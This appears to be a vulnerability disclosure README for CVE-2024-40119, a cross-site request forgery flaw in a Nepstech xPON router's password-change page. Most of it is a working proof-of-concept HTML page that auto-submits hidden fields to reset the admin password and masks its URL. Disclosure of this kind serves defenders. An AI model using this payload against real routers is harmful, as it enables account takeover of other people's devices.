baroi-ai/nepstech-xpon-router-cve-2024-40119Cross-Site Request Forgery (CSRF) vulnerability in the password change function, which allows remote attackers to change the admin password without the user's consent, leading to a potential account takeover.
Subhodeep Baroi
CVE-2024-40119 is a Cross-Site Request Forgery (CSRF) vulnerability in the Nepstech Wifi Router xpon NTPL-XPON1GFEVN v1.0 firmware v2.0.1. This vulnerability allows remote attackers to change the admin password without the user's consent, leading to a potential account takeover.
A remote attacker can craft a malicious HTML page that triggers the password change functionality when visited by an authenticated user. Below is a sample attack vector:
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/mag-account.asp" method="POST">
<input type="hidden" name="name0" value="admin" />
<input type="hidden" name="name1" value="user" />
<input type="hidden" name="name2" value="user3" />
<input type="hidden" name="oldUsername" value="admin" />
<input type="hidden" name="newUsername" value="" />
<input type="hidden" name="oldPassword" value="" />
<input type="hidden" name="newPassword" value="UserUser2@" />
<input type="hidden" name="cfmPassword" value="UserUser2@" />
<input type="hidden" name="accountflg" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>